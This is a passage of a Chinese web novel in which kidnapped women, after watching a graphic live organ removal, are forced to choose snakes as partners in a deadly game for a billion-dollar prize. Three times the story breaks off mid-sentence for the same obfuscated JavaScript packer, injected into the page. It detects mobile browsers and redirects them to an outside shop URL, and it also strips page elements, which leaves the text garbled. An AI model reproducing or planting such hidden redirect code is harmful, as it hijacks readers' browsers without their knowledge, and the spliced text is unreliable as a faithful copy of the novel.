她就那样，直直地剖开，一层皮一层肉地割开，在肋骨下方掏，割掉了她的肝脏，放进低温保存液。 缝合。 漂亮的缝合线，完美的结。 “你看。” 医生笑着说。 “并没有流太多血，也不会留疤。” 女生早已听不见她在说什么，冷汗从额头流进眼里，却刺激不到眼球，她翻着眼白，吊在空中的两条腿抽搐着，晕了过去。 医生和佣人推着肝脏离开了。 女生们慌张地东奔西跑，有人上楼拿护照和行李，有人直接砸大门、砸落地窗。 门纹丝不动，窗纹丝不动。 “嘘——” 空中的男人竖起食指，让她们安静。 没人能安静。 在一个轻轻松松就能夺走人器官的地方，没人能安静。 “给你们30秒，无法冷静的人没有资格参与游戏，而无法参与游戏的人，只能成为别人的桌上餐。” 嗒！ 计时器打响。 30，29，28…… 大厅一片杂乱，跑的跑，砸的砸，叫的叫。 她们很混乱，脑海里有个声音告诉她们，快跑，快离开这里，又有另一个声音告诉她们，跑不掉，跑不掉，还有一个声音告诉她们，停下来，停止一切行为。 太混乱了。 想不明白，想不清楚，不愿意去想，不想去面对。 恐惧蔓延，越来越乱。 计时器毫不留情地跳动数字。 20，19，18…… 有人停了下来，站在原地，还有人在跑，也有人试图从二楼的窗户跳下去，站在窗台上，两腿瑟瑟发抖。 不敢，太高了，太高了，高得她都看不清地面长什么样，蛇那种软体动物都能摔破内脏，她是人，活生生的人，有脆弱的骨头和肉，也许着地就死了。 肯定着地就死了。 不敢赌，没有运气去赌，如果她们足够幸运，她们就不会来这里，就不会经历刚才那一幕。 血淋淋的活体解剖器官。 人的器官，活生生的人啊…… 15，14，13…… “下来！” “停下！” “所有人别动！” 有女生在喊，高声大喊，试图阻止每一个逃跑的人。 站在窗台上的女生闭了闭眼，跳了下去，站在光滑的地面，脚底的实质感让她狠狠松了一口气，幸好她没跳，只是窗台这么高的高度都让她脚心发麻，要是跳到一楼，非死即伤。 只要不死，就还有机会离开。 有机会。 她们这么多人，不怕没机会。 10，9，8…… 逃跑的女生们渐渐停下来，停止动作，站在那里。 5，4，3，2，1。 倒计时结束。 所有人都停止了。 她们惊慌地互相看，看见对方都站在那里，也许是同类的关系，让她们稍微轻松了一点，有种找到团体的归属感，尽管她们互不认识。 “来，到大厅集合。” 男人说。 没人动。 一条蛇爬上他的腿，沿着他的膝盖爬到他的手上，他抓住它，食指缓慢摩擦它的脖颈—— “不要让我重复第二遍。” 蛇颈在他的手里变了形，那条蛇痛苦的“嘶”了一声，尾巴不安地扇打。 有人瑟缩着动了，接二连三，都动了，他满意了，松开手，那条蛇匆匆滑下他的腿，溜了。 99个女生，汇聚在大厅。 大家挨在一起，彼此之间能感受到对方的颤抖、恐惧、害怕。 男人却笑得惬意。 “我是你们的游戏指导员，Snake。” “对于我送你们的开幕仪式，喜欢吗？” 一片死寂。 Snake泰然自若，对她们就像对一群人偶，他只需要吩咐人偶做什么，人偶听没听见都必须去做。 “恭喜你们，成功进入‘人蛇极乐世界’，在这里，你将遇到忠实的朋友，以及……” 他微笑。 “——10亿美元的奖金。” 随着他的话，空中出现金山，真正的金山，黄金堆积而成的山。 有人倒吸一口凉气，有人目露震惊，也有人神色复杂。 没人不对钱感兴趣，富豪也对钱感兴趣，不感兴趣完全是因为诱惑她的钱不够多。 “游戏分七场，进入游戏请遵守游戏总规则——” “规则一：请选择一条蛇作为你的游戏伙伴。” “规则二：请务必与你的游戏伙伴形影不离，蛇死，即你死。 “规则三：每场游戏结束，测试值最低的淘汰。” “规则四：游戏终极胜利者，有且只有一个。” “我们赋予胜利者想要的一切，权利、金钱、自由，你能想到的一切，都可以实现！” “下面，选择你们的游戏伙伴——” 地面洞开，深不见底的巨坑出现在大厅中央，随着大理石地面往两边扩开，明亮的水晶灯下，巨坑里的东西逐渐映入眼里。 那是一个万蛇坑。 成百上千，成千上万的蛇，在坑里纠缠、蠕动，天光铺进的瞬间，它们猛地窜起，嘶着蛇信冲她们嘶吼、咆哮、怒号，蹭着彼此的身体，争先恐后往地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483262|201871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上爬，一窜就起。 浓郁的蛇腥味灌进鼻子，平月皱着眉吐了。 缩在墙角的女生晕了，还有人尖叫着乱跑，第一条蛇爬出坑，立即朝逃跑的女生追去。 人在叫，蛇在叫，一片骚乱。 “友情提示，你们只有半个小时的选择时间，一旦被蛇选中，即不能更换。” 一旦被蛇选中…… 每条蛇看起来都想往她们身上爬、占为己有的样子，如果被一条胆小怕事的蛇选中，必输无疑。 30分钟，听起来很长，但要在堆积如潮的蛇坑中选一条满意的蛇，30分钟就是一眨眼的时间。 胆子大的人已经行动了，接近蛇坑，在浪潮翻涌的蛇群里，仔细辨认自己熟悉的蛇。 有人去问佣人哪条蛇最好。 人是群居动物，有从众心理，在危险的环境里，“跟着行动”是本能，第一个人开始选蛇，第二个人开始选蛇，第三个人开始选蛇……她们蹲在蛇坑边缘，有些蛇从她们的身上爬过去，有些蛇缠住她们的脚转一圈就走，有些蛇连看都不看她们一眼，跃出坑就朝餐厅爬，于是，有人发现这些蛇好像不咬人。 然后，第四个人开始选蛇，第五个人也过去……慢慢的，一个接一个汇聚在蛇坑边，越来越多的人聚拢，太害怕了就和旁边的人贴着，手牵手，互相鼓励。 在逃跑无望的情势下，她们只能让利益最大化。 10亿美元。 是吊着她们奔跑的金萝卜。 倒计时25分钟。 平月做好了心理建设，把它们当成一根会动的绳子，除了是活的以外，这根绳子要么带毒，要么带咬。 绳子成精。 呼…… 她深吸一口气，问林雪：“你选什么蛇？” 林雪并没有动，似乎早已想好选什么蛇了，盘腿坐在那儿，看那些蹲在蛇坑边的女生，还有很多女生仍旧不敢，远远的恨不得站到大门口去，有些女生壮着胆子隔着五米远垫脚往蛇坑看，仿佛她可以目光锁定一条。 “我们是合作伙伴？”林雪问她。 “你是我的任务。”平月回答她。 只要她不背后插刀，平月会永远信任她。 “你选毒蛇，我选网纹蟒。”林雪说，“你选蟒，我选银环。” 网纹蟒，会吃人的蛇，靠绞杀杀人，银环，两种神经毒素，剧毒。 从这句话里，平月领会到，某场游戏需要合作伙伴，剧毒和强绞杀，最强的两点，她们合作占领了。 “温顺的毒蛇。”平月选毒蛇。 “太攀，银环。”林雪告诉她。 她们朝蛇坑过去。蛇群从脚边游走，分散到房子各处，爬到栏杆上，藤草一样把自己吊起来，居高临下俯视她们，冲她们嘶嘶叫，吓唬她们。 平月还是怕，头皮发麻，实在太多了，多得像洒了一地的芝麻、遍地的米、尸体上的蛆，密密麻麻，蠕来蠕去。 她用力掐指甲与肉相连的地方，疼痛让她很解压，前面的林雪沿着坑边走，在那些翻上滚下的蛇群里，仔细观察、寻找，接着，她伸出手，利落又快速地握住一条，提了起来。 那是一条很粗壮的蟒蛇，只看一眼就知道非常健康，非常强壮，非常有力量，灰斑花纹，棺材头，在她手里摆了两下，大概知道逃不掉，便缠上她的手臂，越缠越紧，紧得衣袖凸起一节一节的褶皱。 不知道她做了什么，那条网纹蟒松了松肚子，攀上她的肩头，立在她的脑袋边，和她一起打量四周。 她们连成一体。 脖颈挺括，感觉拿绳子往死里勒都勒不断，平月怎么瞧都觉得那是条非常棒的蛇。 真会选蛇。 就在她感慨时，余光一下子瞟到一个熟悉的身影——那条笨蛇！ 在一群大蛇里，渺小得像落进海里的针。 为什么这么小都能瞟到，因为它，笨拙地爬到别蛇头顶，龇起獠牙，凶狠狠地瞪住平月，然后，淬毒的利箭一样，朝平月夺命而来！ 5. 第 5 章 冤家路窄！ 平月惯性抬起手，手就是她的球拍，拍羽毛球一样，“啪”地一下把它拍回去。 动作精准无比，速度迅猛。 小蛇掉回坑里，一下就被淹没，它太小太小了，还是一条幼蛇，在一堆成年蛇之中，像是一根头发丝儿，眨眼就淹没得不见踪影了。 它太小太小了，于是它在坑里翻个身，凭借自己的小身体，从蛇群的缝隙滑溜溜地又爬了上来。 爬得有点晕，脑袋晕乎乎的，那个人类，拍它的脑袋。 嘶！ 爬一步晕一下，晕了好半天，它才摇摇晃晃爬上一条球蟒的背，沿着背部爬到人家头顶。 它坐在头顶，竖起瞳孔，用愤怒的目光寻找那个人类，看不见，一米之外的世界是灰暗的。 颊窝收缩，感知到那个人的气息，毒药一样的气息，毒得它脑袋晕眩。 它凶狠地龇开獠牙，发出危险的怒号，瞳孔竖起—— “嘶——！” 猛扑过去。 那一张漆黑的蛇脸，猩红的竖瞳，尾巴炸起，一身阴恻恻的凶相，不就是Jck办公室里那条病弱的幼蛇吗？ 真是那条幼蛇啊？ 平月一瞬间的错愕，就让那条蛇飞到了眼前，来不及拍，她几乎是下意识的，像佣人那样，伸出手，握住了它。 打蛇打七寸，她想抓它七寸来着，但它实在太小了，一把握住，就握住了整条身子，只露出一颗小脑袋在虎口上，一截小尾巴尖在小拇指下。 尾巴尖尖还不要命地卷起来死死戳她，恨不得把尾巴化成一柄利箭，把她的手戳出窟窿来。 好凶的性格，实力又菜，她都能一只手搞定它。 平月松开手，就要把它丢回坑里。 她还是更喜欢温柔一点，又富有战斗力的乖蛇。 大概感受到被嫌弃，幼崽往上拔了拔自己的脖子，露出细细扁扁的蛇脖子，立起来，龇开毒牙—— “噗！” 吐了平月一口唾沫。 平月：“？？？” 透明的液体湿漉漉地黏在虎口，分不清那是口水还是毒液，不管是哪种，都让平月一言难尽。 她嫌弃地松开手，小蛇突然凶巴巴地冲她“呜——”了一声。 “嗯？” 平月怀疑自己听错了。 “再叫一声。” 它把脖子一拧，180°脑袋转到背后去，拿后脑勺对着她，就是不叫。平月用了力，使劲儿捏它，它还是一声不吭，就给她后脑勺。 那颗后脑勺光溜溜，细脖子像个扭了半圈的小麻花，怎么看都有点…… 傻。 平月皱眉，威胁它：“不叫就丢回去。” 那蛇猛地扭回来，拿圆溜溜的黑眼睛瞪她。 蛇没表情，眼珠很无机质，但平月就是感觉到它在瞪，瞪得很凶很凶，目露凶光，如果它再大一点，可能得把眼珠子瞪出来。 它……好像能听懂人的话？ 平月几近肯定它能听懂，不能全懂，至少懂一半。 蛇能听懂人话？ 哪怕没接触过蛇，平月也知道概率非常低。 这条蛇，年纪小，能听懂人话——可以培养。 有毒——待验证。 很凶——只要不咬她，凶谁都可以。 它能从房子外面爬进蛇坑，在一群成年蛇中活下来，把别人脑袋当垫脚石来报复她曾经嘲笑它，这条蛇啊……真是很聪明啊，一点也不像它表面看起来的那样傻乎乎。 一条疑似有毒的凶蛇，还能精定位敌人，驯服一下，很容易成为自己作战的好帮手。 平月开始满意它了，但是还有一点需要确定——如果这条蛇真的是Jck办公室里那条凶蛇，那它可能是条病蛇，随时会死。 她抓着它，去找佣人，“你们有四包服务吗？” “您意思是？”佣人茫然。 “蛇生病了，包治疗、包健康。”平月说，“包体检，包售后。” “？”佣人礼貌微笑，“你的伙伴生病是你的责任。” “如果它自身带病呢？” “每条蛇都很健康。”佣人语气笃定。 平月把手里的蛇给她，“你检查一下。” 她手一松，蛇就以为她要摔死它，扭头咬。 佣人一把抓住蛇，制止它的凶残行为，“抱歉，幼蛇不在选择范围内，请重选一条。” “是它在选我。”平月胡诌，“不信你问它。”她挑衅地看向小蛇。 小蛇立即怒了，飞起一尾巴就朝她戳，佣人抓得很有技巧，它挣不脱，就拿毒液喷她。 佣人抚着它的脑袋，安抚它的情绪，那张凶恶恶的蛇脸顿时被安抚下去，软下脖子，在佣人手里躺下，佣人松开手，想给它换个舒服的姿势，就是松开的这一刹那，蛇飞腾而起，直扑平月脖子，毒牙照着喉管就咬。 诶！真是好蛇。 知道哪个位置最致命，知道伺机而动，知道卧薪尝胆，真是好一条虚与委蛇。 虽然长得小、看起来笨，但是诈骗一把好手，连佣人都被骗过了。 平月决定，就是它了。 佣人的手很快，毒牙还没有接近她的脖子，就被佣人两指扣住尾巴拖了回去。 这里的佣人，抓蛇很有一套，快准狠，蛇被抓住了也不反抗，和对平月凶巴巴的模样不一样，它很温顺，在等待第二次反抗的机会。 它是聪明的东西，知道佣人厉害就不凶，知道平月弱就凶得要死。 欺软怕硬，小心思比身上的鳞片多。 平月冷笑，伸出手：“给我吧，我同意它选我。” “抱歉……”佣人耳蜗微动，拒绝的话戛然而止，她招招手，另一个佣人拿来笼子，鸟笼那般大小，方形，铝制栅栏与栅栏的缝隙非常小，是防止蛇钻出笼而设计。 她把蛇装进去，递给平月：“恭喜您，拥有了伙伴。” 从拒绝到同意，一定是被临时授意，“谢谢。”平月转身时，视线落到空中，Snake正在看她。 四目相对，Snake对她展露一个微笑。 他在随时随地的、单独地关注她们，佣人是他的摄像头与监听器，精准掌控她们的一举一动。 “所以有四包吗？”平月想起自己没有得到的答案。 “二楼有医务室，您和您的伙伴随时可以享用，”佣人笑着回答她，“但我希望你们用不着。” 意思是这条蛇很健康？可它在Jck的办公室里一片蛇鳞一片蛇鳞地蜕皮……哦，也许只是长得像，同样凶，同一个品种，但不是同一条。 “这是什么蛇？” “美丽鼠蛇，不纯。” 好的，杂交漂亮蛇。 “它的寿命是多久？”平月把佣人当百科全书用。 这个百科全书不好用，问题达到次数就拒绝回答了，“你可以自行摸索。” 平月失望地提着笼子去窗边，蛇在笼子里转了几圈，找不到缝隙钻出来，隔着笼子威胁地龇了几次毒牙，见平月毫无反应就停歇了。 主要是累了。 它爬了几十万里路，来到这座山，找到这个恶毒的人类——在它刚睁开眼，刚来到人类世界，她就嘲笑它，笑它有病。 它记得死死的，记了好久，跟着蛇群辗转几十个地方，宁死也要找到她，狠狠咬死她！ 累了…… 先睡一觉吧…… 小蛇盘起尾巴，把心脏保护在盘起的尾巴中间，脖子盖上去，脑袋耷拉着，睡着了。 它的呼气声很长，听起来很健康。 平月拎着它走动，都没把它恍醒，看来真的很困。 餐厅左侧靠墙的柜子里摆满了蛇餐，是蛇坑开启时现做的，平月拿了一块不知道是什么的肉，走回蛇坑。 肉在手里散发香味，沿路的蛇热情澎湃地朝她嘶吼，去缠绕她的手腕。 那种冰凉黏腻的触感让她发抖，她把那块肉在虎口滚一圈，蛇的唾液粘在上面，在扑来的蛇张开嘴的刹那，陡然松开肉，那条蛇大嘴一张，叼住肉，整个吞进肚子。 宽扁的脖子被肉撑得胀了一圈，一路胀到肚子，它是成年蛇，不会被这么一块肉撑圆，吞进肚子就不胀了，从平月脚边滑走，走的时候还用尾巴在平月裤腿上打个卷，像是感谢她。 “你还是选了这条。”林雪走过来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483263|201871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>网纹蟒立在她肩膀上，像融合成一体，共用一个背。 平月没出声，只把吃肉的那条蛇盯着，那条蛇蜿蜒到墙上，不知道是爬不稳还是怎么，掉在地上扭成一团，尾巴拍打地上，很焦躁的样子，立着脖子不断冲佣人嘶吼。 佣人走过去，速度比平时更快，有种隐藏在平静之下的慌张，她刚捞起蛇，那条蛇的脑袋抽搐两下，软在佣人手里，尾巴直直垂下去。像死了，毫无生命的一条。 “它是毒蛇。”平月拎拎笼子，确定了。 “成年蛇的含度量是幼蛇的几倍不止。”林雪靠近她，低声说，“一般来讲，我们只能选成年蛇，他同意你选幼蛇，说明他开始了……” 林雪停了声音，她的目光落在斜前方，佣人拎起那条蛇的尾巴，把沾了毒的肉从蛇肚子里反推出来，掉在地上。 她捡起肉，上了二楼医务室。 “你、你好……”那是一个玉一样的女生，泠泠走到平月面前，很紧张地缩着肩膀，靠在平月左边，和盘在林雪背上的蛇离得远远的，“请问……你的嘶、蛇、蛇是在哪里找的？” 平月看了眼手里的蛇，很小，小得盘起来就是个小包子，是很适合怕蛇选择的一条。 “坑里。”倒计时只剩五分钟，平月提醒她，“可能不好找。” “我、我……”秦玉实在太怕蛇了，蛇坑刚开的时候，直接晕过去，是被蛇趴在胸上嘶嘶叫醒的，睁开眼看见自己胸口有一条蛇，她差点又晕了，比晕更快的是爬起来就跑。 好在那条蛇没有追她，她躲在墙角，看她们都在选蛇，她鼓起勇气尝试靠近蛇坑，只要走一步，腿就发软，恨不得原地死去。 她拿出手机报了警，打不出去电话，这里就像一个无人区，被隔绝在世界的最外面。 就在她无助的时候，她看见有个女生选到一条很小很小的蛇，那么远看着，小得和芝麻点一样，这个比喻让她心里没那么害怕了，她觉得自己或许可以尝试这样小小的蛇。 于是，她过来，一步一步靠近这个女生，靠近她手里的蛇笼，她以为要很拼命地去忍受，实际上她一路过来，站在女生身边，看着那条睡觉的蛇，比想象中的更顺其自然地接受了。 如果是这么小的蛇，她能接受…… “猪鼻蛇。”林雪不想说，但平月看向了她，那种眼神，林雪很明白，她想让自己说几个适合怕蛇人养的蛇，“玉米蛇。” “我不认识……” 林雪有点烦：“去找佣人。” 秦玉还是不敢，求助地望向平月。 平月朝佣人抬抬手，召唤佣人很熟练了，她一抬手，离最近的佣人走过来，问她有什么事。 平月让开半步，把选蛇的权利交给秦玉自己。 “我、我想选一条小的蛇，”秦玉指向平月的笼子，“这种。” “抱歉，我们不提供幼蛇。” “那她……”秦玉指着笼子。 “你可以自己选，如果你能找到，我们可以为你破例。” 倒计时三分钟。 秦玉急了：“那、那猪鼻蛇和玉米蛇哪个不咬人？” “猪鼻蛇胆小怕人，玉米蛇情绪稳定。”佣人说，“每条蛇的性格都有差别，不会百分百相同。” 秦玉陷入纠结。 佣人走到坑边，两手一抓，左手玉米蛇，右手猪鼻蛇，两条蛇攀附在手臂，随着她走过来，支着蛇颈打量秦玉。 秦玉吓得脸都白了，惊恐地退到平月身后，那两条蛇，都有两米长，水管那样粗，大得秦玉想昏厥。 “这条玉米蛇。”佣人伸出左手，那条蛇立即向秦玉展示自己，腹部蠕动，蛇信嘶嘶狂吐，“这是猪鼻蛇。” 另一条蛇探出头来，真的有个猪鼻孔，翘翘地往上翻。 莫名喜感。 再喜感可看见它们粗壮的身体，柔软蠕动的皮肉，秦玉仍旧吓得嗓子发紧，她吞了好几口口水，扯扯平月的睡衣袖子，“我、我能和你换吗？” 她真的没办法接受那么大的蛇，大得她害怕半夜睡觉会被一口吃掉。 “不好意思，”平月抽回自己的衣袖，“它已经记到我名下了，姓……” “平。” 6. 第 6 章 倒计时50秒。 秦玉眼睛一闭，随手一指。 玉米蛇好奇完了，窝回佣人怀里，害羞似地躲着，只有猪鼻蛇人仗狗势地支起脖子炫舞扬威，一根手指头指过来，立刻龇牙咧嘴学眼镜蛇咆哮。 “嘶！” 秦玉睁开眼，和装腔作势的猪鼻蛇对了个正着，她尖叫一声，猪鼻蛇登时被吓得尾巴一抖，差点从佣人手上摔下去。 它缠着佣人的手臂，直接一个挺身就瘫下了，浑身软软的，像死了一样。 平月：“……” 玉米蛇都有点嫌弃猪鼻蛇，溜到地上跑了。 佣人就把装死的猪鼻蛇装在笼子里，递给秦玉。秦玉缩着手不敢接，瞪着笼子，嘴巴都在抖。 没人帮她。 不会有人帮她，她会死，会被蛇吃掉。 她绝望地想。 她不知道为什么会变成这样，她在宠物店看见一只猫很可爱，想买，宠物店的老板说那只猫被预定了，如果她想要可以等等，她等了一个月都没货，老板说国外有，血统很纯，价格贵三倍，她不在意钱，能接受。 那段时间，她在计划出国游，在欧洲碰到了那个老板，老板问她想不想亲自去选，有很多稀有品种。 当时，她和朋友们准备辗转下一个景点，那是最后一站，玩完就回国。 说来也巧，老板的回国航班和她们一样。 她有点玩累了，就想去看猫猫放松一下，和朋友约定在机场碰面，跟老板来了这里。 哒！ 空中的倒计时打响最后十秒。 铁笼被放在脚前，有了笼子，猪鼻蛇获得了安全感，又立起来，鲜活地盘着，翘着脑袋，无机质地盯着秦玉。 10，9，8…… 被那样盯着，秦玉真想立刻去死。 7，6…… 可是她又不想死。 5，4…… 她得提上它。 3…… 没人会帮她。 2…… 这里不是国内，不是学校，不是公司，没有人帮她。 1…… 她从小吃到的美貌红利，在这里行不通。 0…… 咚—— 平月弹了一下猪鼻蛇的笼子，她弯腰凑在笼子前。 笼子是猪鼻蛇的保护套，也是平月的保护套，隔着笼子，人蛇相对，平月她没那么怕它。 她想试试猪鼻蛇是哪类生存模式。 猪鼻蛇被惊吓到了，盘着身体，对她又吼又叫，还拿脑袋撞笼子，凶得不行。 平月又弹了一下，张嘴很凶地唬它一声：“呼！” 那条珊瑚色的蛇一下子懵了，紧接着拿它的小猪鼻子往笼子底部拱，拱土似地，想刨个坑钻出去。 拱了好半天，没拱出坑，它立马把肚子一翻，张开嘴，舌头长长吐出来，像个吊死鬼那样瘫着，一动不动了。 平月沉默半响，捡起不知道谁扔下来的衣架，从笼子缝隙卡进去，挑着它的尾巴想给它翻个身，刚翻过去，还没趴一秒，它拿肚子一挺，又翻过来。 一副“我就死，我就死，我就是死了”的倔强感。 平月：“……” 证据确凿，这就是一条胆小爱装死的戏精蛇。 “有毒吗？”平月问林雪。 百科全书林雪总结：“微毒，没用。不咬人，硬咬一口还不如蚊子咬得痛。” “你被咬过？” 平月的关注点很独特，林雪神情古怪：“我咬过它。” “……”平月直起身，忍着笑，对秦玉说：“不咬人，没事儿。”她把衣架递给她，像在传递“教子棍”，有种它敢凶，你就揍它的错觉。 秦玉懵懵地抓住，她不理解这个人，平月明明很直白地拒绝了和她换蛇，拒绝帮她。 “当——！” 银勺敲击杯壁，大厅寂静，连蛇的嘶嘶声都小了下去。 “恭喜你们，拥有了同生共死的好伙伴，在同生共死之前，先培养你们的默契吧~” “第一场游戏，培养你们和伙伴的默契，愿你们成为灵魂伙伴。” “游戏时间：一个月。” “游戏范围：房子内部。” “游戏规则：不离不弃，请务必与蛇分离，拒绝培养超过三天，禁食。” “游戏目的：熟悉彼此的一切。” “第一场游戏结束，将测试你们的默契值，默契值越高，排名越靠前，默契值最低的五位，将成为观众的艺术品哦~” “亲爱的幸运儿们，请用你们的爱意来熟悉彼此吧，祝你们……” “——游戏愉快！” 啪！ 光柱投下。 空中浮现她们的名字，名字后面紧跟着蛇的名称，再后面是默契值，所有人都是0。 平月找到林雪的名字。 3078，林雪，网纹蟒，0。 3055，平月，美丽鼠蛇，0。 3044，秦玉，猪鼻蛇，0。 “友情提示，”Snake危险地眯起眼睛，“虐蛇者，死。” 倒计时一个月开启。 第一场游戏，正式开始！ Snake消失在空中，大厅只剩下她们和蛇群。 蛇坑缓缓关闭，还没有爬出坑的蛇被埋藏在地底，已经爬出来的蛇蜿蜒在房子各个地方。 墙壁、楼梯、走廊、栏杆、餐厅……无处不在。 她们望向彼此，每人的手里、脚边都有个笼子，装着各自的蛇。 “培养默契……” 寂静中，秦玉出了声。 “怎、怎么培养？” “当猫猫狗狗养？”平月把自己的笼子提起来，平蛇在里面睡得呼呼，小小的蛇体一鼓一鼓。 没叫醒它，她拎着笼子到处逛，有些女生已经提着笼子回楼上了，有些女生还在疯狂报警，打不通，气得把手机摔在地上，抱着膝盖蹲在地上抽泣，蛇在脚边的笼子里嘭嘭撞。 平月不认识那些蛇，只能看个大概，都是些很凶的蛇，有个女生选的蟒，至少五米长，笼子被她提得吃力，在那里用力推。 如果从蛇推测人的心思，那这些人是很有野心的人，必须要挣10亿美元离开，而平月……是最怕死的人。 没人比她的蛇小，换个说法，别人的蛇尾巴一巴掌就能拍死平月的蛇。 “你去哪里！”秦玉追她几步，追上了又回头看自己的蛇，她很怕蛇，但她听得懂规则，不能离开自己的蛇，破坏规则的下场，她不想去实践，于是她又往回跑几步，在蛇和平月之间左右踌躇。 伸手想提笼子，又不敢，怕笼子里的蛇钻出来咬她。 可是那个人越走越远了，那个人看起来非常怕蛇，不然不可能选那么小的蛇，可是她是唯一一个帮助自己的人。 在危险的地方，一旦接受帮助，人会下意识把对方划进自己的安全地带，去依赖，把那个人当成自己唯一的依靠。 除了平月，她没有认识的人了，也没有可以让她找到安全感的人了。 她非常需要安全感，非常需要人的陪伴。 “逛逛，”平月睁眼说瞎话，“带它见见世面。” 带它见见世面…… 秦玉有刹那的无语，那条蛇睡得打雷都打不醒的样子……秦玉忽然亮了亮眼睛，这是一种培养方式！ 笼子里的猪鼻蛇还在装死，秦玉眼睛一闭，咬牙抓住笼子顶端的把手。 咬吧咬吧，要么咬死她，要么她被咬死算了！ 不能原地踏步！ 她得跟上她，做个伴！ 秦玉一手抓衣架，一手提笼子，颠颠撞撞去追平月。 猪鼻蛇被颠得又怕又吓，怂在那里，一动不敢动。 秦玉很忐忑，不知道该怎么办，可追上平月，走在她身边，心里的紧张一点点被安抚下去，她不知道这是为什么，就觉得只要有个人陪在自己身边，她就能安心。 逛到一半时——她真不懂这个“见见世面”是怎么个世面法，不就是在大厅里东逛逛西看看吗？她早看过了，给蛇看看得懂吗？ 她疑惑地转头看身边的人，跟大爷遛弯一样，提着笼子，瞎溜达，只不过大爷笼子里是鸟，她笼子里是蛇。 她神情很淡，眼神也淡淡的，看东西有种淡淡的感觉，和那种不放在眼里不一样，而是风一样轻，看过了，就过了，也不知道她到底看没看清楚，可能就是轻风从脸上吹过，什么都没留下。 爬在墙上的蛇冲她吼，她目不斜视，不去看，那蛇没吓唬到她，又爬走了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483264|201871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秦玉忽然知道自己的安心源于什么，不是身边有个人就安心，而是身边这个人很稳定，心态稳，情绪稳，让她不由自主放轻松，潜意识相信只要在这个人身边，就没什么可担心的，她会稳妥地处理一切，会稳妥地提供办法，就像她怕蛇，选不出来，她会帮她征询什么蛇比较好养，会帮她叫佣人。 她都不敢叫佣人的，她认为佣人在这个地方，就是帮凶，帮人囚禁她们，是很凶狠的存在，她不敢面对佣人。 可是对方轻轻松松，像在餐厅招服务员那样，抬抬手指就给叫过来了。 秦玉佩服她，还很羡慕她。 尽管她们都怕蛇，但在秦玉心里，她觉得这个人就是比自己厉害。 “你叫什么名字？”秦玉想和她做朋友，“我叫秦玉，和田玉的玉。” “平月，月光的月。” “哪个ping？” “平常的平。” “好稀有的姓。”秦玉惊讶。 平月微怔，好正常的对话。 正常得让她不适应。 大门到了，没有佣人看守，没有锁，没有自动按钮，平月伸手贴上去，手感很厚，她试着用力，很好，这门重得能拍死她，死成一滩血泥的那种拍法。 她算是知道为什么这门没锁，也没人守着了，除了怪力无穷的佣人，没人推得开。 “你……”秦玉想问她“见见世面”是不是指从这里逃出去，没敢问，怕被佣人听见，她们的耳朵像顺风耳，隔很远就能听见她们的话。 她静静站在旁边等，如果平月跑，她会跟着跑。 平月只是摸了摸，摸完了，转身，回走，秦玉望着她稳稳的背影，说不清是松了一口气还是可惜，她觉得是松了一口气，因为门外的世界她们还没有见过，贸然出去，很危险。 她匆匆追上去，安慰平月：“我和朋友们约好了在机场见面，她们没等到我，肯定会报警。” 平月点点头。 没有预想中的兴奋，秦玉迷惑：“你不相信吗？” “相信。”但报警没用，她朋友不会报警的概率是99.99%，平月没有明说，人有期望是好事。 两人在房子里逛了整整三圈，秦玉手里的衣架被她从捏得死紧到松松抓着。 三圈逛完，平月累了，回到躺椅那儿躺下，让佣人端水来，她喝完大半杯白水，开始闭目养神。秦玉也累了，蹲在旁边歇气。 “发现什么了？”林雪问，她哪也没去，带着蛇在这儿睡了三个小时，这会儿，网纹蟒正顺着落地窗爬上爬下。 秦玉盯着那条庞大的网纹蟒，有点呆，她发现自己竟然没那么害怕这条蛇，她能直视很多蛇了，甚至能接受自己的猪鼻蛇在笼子里翻滚打转，笼子就在脚边，她没害怕，一点也不怕它钻出来咬自己一口，手里的衣架放在远处，也不拿来防身用了，她还能主动去看别的蛇。 听见林雪的问题，她忽然意识到平月不是在瞎逛，她是在让蛇见见世面的同时，让自己熟悉蛇群、习惯蛇群、适应这座充满蛇的房子。 秦玉抬头，玻璃上有条蛇冲她吐舌头，嘶嘶叫，她并不害怕，只要它不来扑过来咬她，她都能和它对视，当然，还是做不到像平月那样冲蛇呼回去。 秦玉，在这短短三个小时内，渐渐习惯蛇群。 天知道三个小时之前，她怕得想去死。 好没有道理，好神奇。 “摄像头33个，佣人33个，餐厅有后门，不确定后门之外是室外还是储藏室，四楼空的，二楼是佣人的卧室。”平月说，“倒计时的读秒是正常的，今天是8月8日，下午4点58分45秒。最大的一条蛇目测30米长，12L矿泉水水桶粗，花斑纹，是个粉头发女孩的蛇，手臂上有蛇纹，蛇爱好者。” 